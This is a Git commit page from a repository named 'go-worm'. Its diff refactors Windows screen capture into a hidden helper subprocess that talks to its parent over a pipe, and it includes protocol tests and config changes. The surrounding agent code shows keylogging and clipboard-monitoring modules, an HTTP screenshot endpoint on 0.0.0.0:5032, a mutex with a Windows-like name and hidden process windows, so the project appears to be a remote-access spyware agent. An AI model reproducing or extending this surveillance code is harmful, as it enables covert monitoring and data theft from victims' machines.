kato/go-worm
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

refactor(capture): screen capture in subprocess

Browse Source 
- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe
This commit is contained in:
kato
2026-09-01 23:25:38 +03:00
parent cc2b1d049b
commit a3c78820ed
14 changed files with 432 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files
lib/agent/agent.go
+2
View File
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
@@ -73,6 +74,7 @@ func New(cfg Config) (*Agent, error) {
func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
capture.Stop()
if a.guard != nil {
a.guard.Close()
}
lib/agent/handlers.go
+3 -2
View File
@@ -14,6 +14,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
@@ -329,9 +330,9 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
return
}
}
frame, err := screenshot.CaptureMonitor(monitor, format, quality)
frame, err := capture.CaptureMonitor(monitor, format, quality)
if err != nil {
if errors.Is(err, screenshot.ErrMonitorNotFound) {
if errors.Is(err, capture.ErrMonitorNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
lib/capture/client_stub.go
+15
View File
@@ -0,0 +1,15 @@
//go:build !windows
package capture
import (
"errors"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
return models.CapturedImage{}, errors.New("capture helper is windows-only")
}
func Stop() {}
lib/capture/client_windows.go
+153
View File
@@ -0,0 +1,153 @@
//go:build windows
package capture
import (
"bufio"
"errors"
"fmt"
"os"
"os/exec"
"strings"
"sync"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
type helper struct {
cmd *exec.Cmd
stdin *os.File
stdout *os.File
reader *bufio.Reader
frames int
}
var (
mu sync.Mutex
current *helper
)
// CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes
// cannot take down the agent. The helper is recycled every CaptureRecycleFrames.
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
mu.Lock()
defer mu.Unlock()
img, err := current.grab(index, format, quality)
if err == nil {
return img, nil
}
err = mapCaptureErr(err)
if errors.Is(err, ErrMonitorNotFound) {
return models.CapturedImage{}, err
}
stopLocked()
img, err = current.grab(index, format, quality)
if err != nil {
stopLocked()
return models.CapturedImage{}, mapCaptureErr(err)
}
return img, nil
}
// Stop kills the capture helper. Safe to call if none is running.
func Stop() {
mu.Lock()
defer mu.Unlock()
stopLocked()
}
func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) {
if h == nil || h.cmd == nil || h.cmd.Process == nil {
var err error
current, err = startLocked()
if err != nil {
return models.CapturedImage{}, err
}
h = current
}
if h.frames >= config.CaptureRecycleFrames {
stopLocked()
var err error
current, err = startLocked()
if err != nil {
return models.CapturedImage{}, err
}
h = current
}
deadline := time.Now().Add(config.CaptureTimeout)
_ = h.stdin.SetWriteDeadline(deadline)
_ = h.stdout.SetReadDeadline(deadline)
if err := writeRequest(h.stdin, index, format, quality); err != nil {
return models.CapturedImage{}, err
}
img, err := readResponse(h.reader)
if err != nil {
return models.CapturedImage{}, err
}
h.frames++
return img, nil
}
func startLocked() (*helper, error) {
exe, err := os.Executable()
if err != nil {
return nil, err
}
inR, inW, err := os.Pipe()
if err != nil {
return nil, err
}
outR, outW, err := os.Pipe()
if err != nil {
_ = inR.Close()
_ = inW.Close()
return nil, err
}
cmd := exec.Command(exe, "-capture", "-skip-install")
cmd.Stdin = inR
cmd.Stdout = outW
cmd.Stderr = os.Stderr
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
if err := cmd.Start(); err != nil {
_ = inR.Close()
_ = inW.Close()
_ = outR.Close()
_ = outW.Close()
return nil, fmt.Errorf("start capture helper: %w", err)
}
_ = inR.Close()
_ = outW.Close()
return &helper{
cmd: cmd,
stdin: inW,
stdout: outR,
reader: bufio.NewReader(outR),
}, nil
}
func stopLocked() {
h := current
current = nil
if h == nil {
return
}
_ = h.stdin.Close()
_ = h.stdout.Close()
if h.cmd != nil && h.cmd.Process != nil {
_ = h.cmd.Process.Kill()
_ = h.cmd.Wait()
}
}
func mapCaptureErr(err error) error {
if err == nil {
return nil
}
if strings.Contains(strings.ToLower(err.Error()), "monitor not found") {
return ErrMonitorNotFound
}
return err
}
lib/capture/helper_stub.go
+5
View File
@@ -0,0 +1,5 @@
//go:build !windows
package capture
func RunHelper() int { return 1 }
lib/capture/helper_windows.go
+56
View File
@@ -0,0 +1,56 @@
//go:build windows
package capture
import (
"bufio"
"fmt"
"io"
"os"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
// RunHelper is the -capture process: one GDI grab per stdin request, then
// the process can be killed without taking the agent down.
func RunHelper() int {
in := bufio.NewReader(os.Stdin)
out := bufio.NewWriter(os.Stdout)
for {
monitor, format, quality, err := readRequest(in)
if err == io.EOF {
return 0
}
if err != nil {
_ = writeErr(out, err.Error())
_ = out.Flush()
return 1
}
img, err := grab(monitor, format, quality)
if err != nil {
if werr := writeErr(out, err.Error()); werr != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
continue
}
if err := writeFrame(out, img); err != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
}
}
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return screenshot.CaptureMonitor(monitor, format, quality)
}
lib/capture/protocol.go
+98
View File
@@ -0,0 +1,98 @@
package capture
import (
"bufio"
"errors"
"fmt"
"io"
"strconv"
"strings"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var ErrMonitorNotFound = errors.New("monitor not found")
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
return err
}
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
line, err := r.ReadString('\n')
if err != nil {
return 0, "", 0, err
}
fields := strings.Fields(strings.TrimSpace(line))
if len(fields) != 4 || fields[0] != "C" {
return 0, "", 0, errors.New("bad capture request")
}
monitor, err = strconv.Atoi(fields[1])
if err != nil {
return 0, "", 0, err
}
format = fields[2]
quality, err = strconv.Atoi(fields[3])
if err != nil {
return 0, "", 0, err
}
return monitor, format, quality, nil
}
func writeFrame(w io.Writer, img models.CapturedImage) error {
if len(img.Data) > config.MaxCaptureBytes {
return errors.New("frame too large")
}
if _, err := fmt.Fprintf(w, "O %s %d %d %d %d %d\n",
strings.ReplaceAll(img.ContentType, " ", ""),
img.Left, img.Top, img.Width, img.Height, len(img.Data)); err != nil {
return err
}
_, err := w.Write(img.Data)
return err
}
func writeErr(w io.Writer, msg string) error {
msg = strings.ReplaceAll(strings.TrimSpace(msg), "\n", " ")
if msg == "" {
msg = "capture failed"
}
_, err := fmt.Fprintf(w, "E %s\n", msg)
return err
}
func readResponse(r *bufio.Reader) (models.CapturedImage, error) {
line, err := r.ReadString('\n')
if err != nil {
return models.CapturedImage{}, err
}
line = strings.TrimRight(line, "\r\n")
if strings.HasPrefix(line, "E ") {
return models.CapturedImage{}, errors.New(strings.TrimSpace(line[2:]))
}
fields := strings.Fields(line)
if len(fields) != 7 || fields[0] != "O" {
return models.CapturedImage{}, errors.New("bad capture response")
}
left, _ := strconv.Atoi(fields[2])
top, _ := strconv.Atoi(fields[3])
width, _ := strconv.Atoi(fields[4])
height, _ := strconv.Atoi(fields[5])
n, err := strconv.Atoi(fields[6])
if err != nil || n < 0 || n > config.MaxCaptureBytes {
return models.CapturedImage{}, errors.New("bad capture size")
}
data := make([]byte, n)
if _, err := io.ReadFull(r, data); err != nil {
return models.CapturedImage{}, err
}
return models.CapturedImage{
ContentType: fields[1],
Data: data,
Left: left,
Top: top,
Width: width,
Height: height,
}, nil
}
lib/capture/protocol_test.go
+53
View File
@@ -0,0 +1,53 @@
package capture
import (
"bufio"
"bytes"
"testing"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
func TestCaptureProtocolRoundTrip(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
t.Fatal(err)
}
mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
if err != nil {
t.Fatal(err)
}
if mon != 1 || format != "jpeg" || quality != 40 {
t.Fatalf("request = %d %s %d", mon, format, quality)
}
buf.Reset()
want := models.CapturedImage{
ContentType: "image/jpeg",
Data: []byte{0xff, 0xd8, '\n', 0x00, 0xff},
Left: 10, Top: 20, Width: 100, Height: 50,
}
if err := writeFrame(&buf, want); err != nil {
t.Fatal(err)
}
got, err := readResponse(bufio.NewReader(&buf))
if err != nil {
t.Fatal(err)
}
if got.ContentType != want.ContentType || got.Left != want.Left || got.Width != want.Width || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("frame mismatch: %#v", got)
}
}
func TestCaptureProtocolError(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := writeErr(&buf, "no displays found"); err != nil {
t.Fatal(err)
}
_, err := readResponse(bufio.NewReader(&buf))
if err == nil || err.Error() != "no displays found" {
t.Fatalf("err = %v", err)
}
}
lib/config/config.go
+3
View File
@@ -13,6 +13,9 @@ const (
DefaultAddr = "0.0.0.0:5032"
MutexName = "win64_mp_Mutex"
RestartDelay = 3 * time.Second
CaptureRecycleFrames = 100
CaptureTimeout = 8 * time.Second
MaxCaptureBytes = 32 << 20
RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000
lib/instance/args.go
+2
View File
@@ -14,6 +14,8 @@ func filterArgs(args []string) []string {
continue
case lower == "ensure" || strings.HasPrefix(lower, "ensure="):
continue
case lower == "capture" || strings.HasPrefix(lower, "capture="):
continue
}
out = append(out, arg)
}
lib/instance/args_test.go
+1 -1
View File
@@ -7,7 +7,7 @@ import (
func TestFilterArgsDropsLauncherFlags(t *testing.T) {
t.Parallel()
got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"})
got := filterArgs([]string{"-ensure", "-background", "-foreground", "-capture", "-addr", "0.0.0.0:5033"})
want := []string{"-addr", "0.0.0.0:5033"}
if !reflect.DeepEqual(got, want) {
t.Fatalf("filterArgs() = %#v, want %#v", got, want)
lib/instance/console_windows.go
+13
View File
@@ -14,6 +14,7 @@ var (
procSetConsoleCtrl = kernel32.NewProc("SetConsoleCtrlHandler")
procAllocConsole = kernel32.NewProc("AllocConsole")
procGetStdHandle = kernel32.NewProc("GetStdHandle")
procGetFileType = kernel32.NewProc("GetFileType")
user32 = syscall.NewLazyDLL("user32.dll")
procShowWindow = user32.NewProc("ShowWindow")
consoleCtrlCallback uintptr
@@ -81,6 +82,9 @@ func consoleCtrlHandler(ctrlType uintptr) uintptr {
}
func redirectStdioToNul() {
if stdioIsPipe() {
return
}
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return
@@ -89,3 +93,12 @@ func redirectStdioToNul() {
os.Stdout = nul
os.Stderr = nul
}
func stdioIsPipe() bool {
const fileTypePipe = 3
stdin, _, _ := procGetStdHandle.Call(^uintptr(9))
stdout, _, _ := procGetStdHandle.Call(^uintptr(10))
inType, _, _ := procGetFileType.Call(stdin)
outType, _, _ := procGetFileType.Call(stdout)
return inType == fileTypePipe || outType == fileTypePipe
}
lib/screenshot/screenshot.go
+21 -9
View File
@@ -7,6 +7,7 @@ import (
"image/jpeg"
"image/png"
"runtime"
"sync"
"syscall"
"unsafe"
@@ -157,19 +158,30 @@ func attachInputDesktop() error {
return nil
}
var (
enumMu sync.Mutex
enumBuf []rect
enumCB = syscall.NewCallback(enumMonitor)
)
func enumMonitor(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
if monitorRect != 0 {
enumBuf = append(enumBuf, *(*rect)(unsafe.Pointer(monitorRect)))
}
return 1
}
func enumerateMonitors() ([]rect, error) {
var monitors []rect
callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
if monitorRect != 0 {
monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
}
return 1
})
ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
enumMu.Lock()
defer enumMu.Unlock()
enumBuf = enumBuf[:0]
ok, _, err := procEnumDisplayMonitors.Call(0, 0, enumCB, 0)
if ok == 0 {
return nil, err
}
return monitors, nil
out := make([]rect, len(enumBuf))
copy(out, enumBuf)
return out, nil
}
func captureRect(r rect) (*image.RGBA, error) {